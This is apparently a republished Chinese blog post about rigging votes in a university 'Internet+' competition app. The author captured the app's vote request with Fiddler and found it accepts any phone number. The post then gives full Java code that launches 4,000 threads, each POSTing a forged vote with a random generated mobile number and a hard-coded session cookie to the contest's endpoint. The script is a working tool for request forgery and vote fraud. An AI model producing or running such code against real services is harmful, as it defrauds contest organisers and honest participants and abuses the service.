刷票
来源:互联网 发布:护肤品套装知乎 编辑:程序博客网 时间:2024/05/29 18:48
近日湖南各大学高校举行互联网+海选赛,比赛方要求下载他们的app(变相推广,个人认为)给参赛选手投票。
查询票数:用的是嵌套html的开发模式,一直点击加载更多,然后然返回键,发现是回到了上一个查看界面,也就是我们点了多少个加载更多,就要点就多少个返回。。。
投票:用fiddler抓取手机投票请求信息,发现只要改变电话号码以及比赛选手的信息,就可以给参赛选手。
比赛期间有版本的更新,然并卵。。。问题依然没有解决。模拟请求就可以投票了,还有一个就是:我估计他们就是用手机号码做用户id,还行吧至少没有用1,2,3...这样子做标识,想去请求个人中心的信息也就有点难度了,然并卵。。。
总的来说:做得一手好软件。。。发现我也可以做哦,,呵呵
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStream;import java.net.HttpURLConnection;import java.net.URL;import java.util.ArrayList;import java.util.List;import java.util.Random;public class Vote{String path = "http://www.xxxxxxx.cn/hnvoteagain/vote!addVote";String cookieString = "SESSIONID=返回的cookie";// 比赛者信息 NUMBER_ID是要替换的手机号码String userInfo = "uid=NUMBER_ID&tickid=&phone=NUMBER_ID&后面不变";List listUser = new ArrayList();/** * 添加比赛者post请求体信息 */public void addData(){listUser.add(userInfo);}public static void main(String[] args) throws InterruptedException{final Vote vote = new Vote();// 添加数据vote.addData();// 投票数int voteNumber = 4000;for (int i = 0; i < voteNumber; i++){new Thread() {public void run(){vote.vote();// 投};}.start();}}/** * 投票 */public void vote(){try{String numberString = genNumber();for (int i = 0; i < listUser.size(); i++){System.out.println("numberString:" + numberString);// 请求String result = postRequest(numberString, listUser.get(i).toString());System.out.println(numberString + ":" + result);}} catch (Exception e){e.printStackTrace();}}/** * 单次请求 * * @param number * @param user * @return */public String postRequest(String number, String user){String sbString = user;sbString = sbString.replaceAll("NUMBER_ID", number);String msgString = "";try{byte[] entitydata = sbString.toString().getBytes();//URL url = new URL(path);HttpURLConnection conn = (HttpURLConnection) url.openConnection();conn.setRequestMethod("POST");conn.setConnectTimeout(1000 * 5);conn.setDoOutput(true);//// Content-Type: application/x-www-form-urlencoded// Content-Length: 38conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");conn.setRequestProperty("Content-Length",String.valueOf(entitydata.length));conn.addRequestProperty("Cookie","JSESSIONID=898A43BC174FB35819FDD24B58F53A47");OutputStream outStream = conn.getOutputStream();outStream.write(entitydata);outStream.flush();outStream.close();if (conn.getResponseCode() == 200){InputStream is = conn.getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(is));int length = 0;String lineString = "";while ((lineString = br.readLine()) != null){// System.out.println(lineString); //打印}br.close();return msgString;}return "服务器 error";// 服务器 error} catch (IOException e){e.printStackTrace();}return "服务器 error";// 服务器 error}int[] prex = { 13, 15, 18, 17 }; // 前缀/** * 生成号码 * * @return 号码 */public String genNumber(){StringBuffer sb = new StringBuffer();Random randomNumber = new Random();String prexNumberString = prex[randomNumber.nextInt(prex.length)] + "";sb.append(prexNumberString);int nextInt = 0;for (int i = prexNumberString.length(); i < 11; i++){Random random = new Random();nextInt = random.nextInt(10);sb.append(nextInt);}return sb.toString();}}
无别的意思,希望给学软件的一条活路,别什么专业的都往这一行来.。。。给条活路orz
0 0
- 刷票
- 刷票
- Java刷票
- python刷票
- curl刷票
- JavaScript刷票
- selenium刷票
- 二分--刷票
- python刷票
- 贝叶斯算法会是破解“App刷票”的良方
- 贝叶斯算法会是破解“App刷票”的良方
- 贝叶斯算法会是破解“App刷票”的良方
- 微信朋友圈投票活动的“刷票”案例分析。
- 最新 新浪微博 python 自动登陆 刷票 关注 发微博 转发
- 全能自动点击王 包含数据采集-刷票-post机-后台鼠标键盘模拟-验证码识别
- CKFinker 2.5.0.1 去demo标示
- 关于《JavaScript DOM 编程艺术》一书中getHTTPObject.js 的一点看法
- yii2.0数据库迁移 [多个数据库同时同步数据]
- 选择日期,调用系统的时间弹窗DatePickerDialog
- IOS UILabel 设置圆角
- 刷票
- MySQL学习总结
- 接口回调传值的形象比喻
- LeetCode_remove-duplicates-from-sorted-array
- servlet生命周期
- Ztree之简单实现(一)
- HTTP协议中POST、GET、HEAD、PUT等请求方法以及一些常见错误(转载)
- ZOJ Fiddlesticks (简单模拟)
- uva 10816 Travel in Desert (最小生成树 + 最短路)